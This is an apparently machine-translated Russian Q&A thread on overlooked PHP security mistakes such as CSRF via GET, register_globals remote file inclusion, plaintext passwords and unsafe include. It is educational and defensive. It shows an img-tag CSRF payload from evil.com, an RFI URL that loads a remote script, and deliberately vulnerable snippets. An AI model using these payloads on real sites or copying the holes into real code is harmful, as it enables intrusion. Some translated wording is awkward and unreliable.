Общие неизвестные ошибки в области безопасности PHP

Question

Я знаю, что такие вопросы были заданы сто раз, но мой немного отличается.

Я знаю обо всех распространенных и широко известных проблемах безопасности, таких как SQL-инъекция, XSS и т. Д. Но как насчет проблем, которые часто появляются, но не распознаются в большинстве случаев или не рассматриваются как уязвимости? Есть ли какие-нибудь?

Answer 1

Одно я видел много, что получает разработанный в качестве признака и не рассматривается как дыра в безопасности до тех пор, пока не будет слишком поздно, являются изменяющие состояние запросы GET. Они могут легко привести к cross-site request forgery. Например, у вашего приложения может быть ссылка на http://mysite.com/logout, которая регистрирует пользователей. Но сайт третьей стороны может добавить такой код:

<!-- on evil.com site --> 
<img src="http://mysite.com/logout"> 

Затем, когда пользователь загружает страницу на evil.com, они вышли из mysite.com!

Худшие проблемы возникают, когда сайты реализуют API с использованием изменяющих состояние запросов GET. Например, если я запустил сайт социальной сети с URL-адресами, такими как site.com/addfriend, site.com/sendmessage и т. Д., И я дал эти URL-адреса разработчикам, которые собирались создавать приложения для моего сайта, разработчикам пришлось бы при обнаружении уязвимости безопасности следует обратиться к изменению API.

Answer 2

Отсутствие процедур для защиты от атак социальной инженерии? Например, злоумышленник звонит в офис и выдает себя за кого-то с целью получения паролей.

Плохое создание, распространение и защита паролей.

Устранение взлома FTP-аккаунта может привести к загрузке вредоносного кода на ваш сайт.

Слабые/уязвимые сторонние серверы хостинга могут привести к взлому вашего сайта независимо от того, сколько времени вы потратили на его защиту.

Answer 3

1. Использование $_REQUEST вместо $_GET или $_POST, что это плохая идея, потому что $_REQUEST также содержит печенье, и это открывает дверь для Variable Fixation

2. Не совсем PHP-конкретных, относится ко всем интерпретируемым языкам : visibility of .svn/.CVS directories

Answer 4

PHP существует уже более 10 лет, и он созрел много.

Остерегайтесь слабых значений по умолчанию в php.ini.

Answer 5

Я работал над кучей хлама один раз, когда обработчики fopen были включены, как было "register globals". Вложения выглядели так:

<?php 
include $MY_BASE . '/includes/myLib.inc'; 
?>

Что это позволяло кому-то делать, это дистанционно выполнять любой код, который они хотели. Вот: http://exploitablehost.com/?MY_BASE=http://viagra.cheeper.com/myScript.txt%3f

PHP будет извлекать текстовый файл через HTTP и выполнять его локально. Поскольку Apache работает как root ... ну, вы поняли эту идею.

Answer 6

Вот несколько, которые я работал на:

• Запоминание паролей как открытый текст в БД
  • Если ваш сайт взломан, хакеры имеют доступ ко всем паролей пользователей и сообщения электронной почты. Посмотрите, сколько пользователей имеют одинаковый пароль для своей электронной почты, а также вашего сайта.
• Сохранение сообщений электронной почты в той же таблице пользователей
  • Если инъекция SQL атака дает хакер доступ к вашей таблице пользователей, один из немногих частей ценной информации является адрес электронной почты. Храните его в отдельном столе, чтобы сделать его более трудным для хакера.
  • Если вы не намерены отправлять электронную почту пользователю, храните только хэш их электронной почты: хакер, который получает доступ к электронным письмам пользователей, может продавать их спамерам.
• Даже если у вас есть защищенный паролем сайт, сделайте математику относительно того, насколько безопасен пароль. У меня был друг, чей сайт использовал простое пятизначное число для паролей. Я расколол его в около часа.
• Если вы отправляете сообщения, имеющие значение (то есть: вы выполняете операцию, которая использует значительное количество ресурсов: процессор, память и т. Д.), Всегда требуется токен от пользователя, установленного по времени.
  • Если хакер обнаружил, что у вас есть операция, которая стоит вам $ 0.0001 каждый раз, когда она попадает, они могут фермеровать бот-сеть, чтобы начислять обвинения на ваше имя.
  • Требовать от пользователя отправки хэша (уникальный идентификатор пользователя, временную метку и секретную соль) вместе с меткой времени обычного текста. Значок plaintext timestamp позволяет вам подтвердить, что вы не дали им разрешения в прошлый вторник, отметка времени в хеше позволяет проверить, что она принадлежит , что сообщение, UID в нем гарантирует, что хакер не выполнил запрос от кого-то другого, а секретная соль в хеше гарантирует, что они не генерируют ее самостоятельно.
• Если вы пишете систему плагинов для приложения, будьте осторожны с тем, что вы храните в частных переменных. В этой статье я написал о том, как lock it down.

Всего несколько идей и вещей, с которыми я имел дело. Надеюсь, поможет!

Answer 7

Вот некоторые из наиболее распространенных ошибок, я видел:

1. Не миновать лиц

Это базовые знания; ВСЕ НЕВЕРОЯТНЫЙ вход (особенно пользовательский ввод из форм) должен быть подвергнут санации перед его выдачей.

echo $_GET['username']; 

2. Не Спасаясь входные данные SQL

$query = "select * fromt able where id = {$_GET['id']}"; 

3.Требуя и в том числе файлы неправильно

include($_GET['filename']); 

4. двойное экранирование кавычек

Если magic_quotes_gpc верно, то с помощью addslahes добавит еще одну черту тем самым добавив две косые черты во всем.

Answer 8

Многие из сообщений не относятся к PHP. Я уверен, что есть некоторые языковые ловушки, но, как вы видите в сообщениях, очень важно внедрять лучшие практики безопасности (например, фильтрацию ввода пользователем). Хорошим началом для безопасных веб-приложений является OWASP. И быть по теме: Security Issues in PHP on OWASP.

Cheers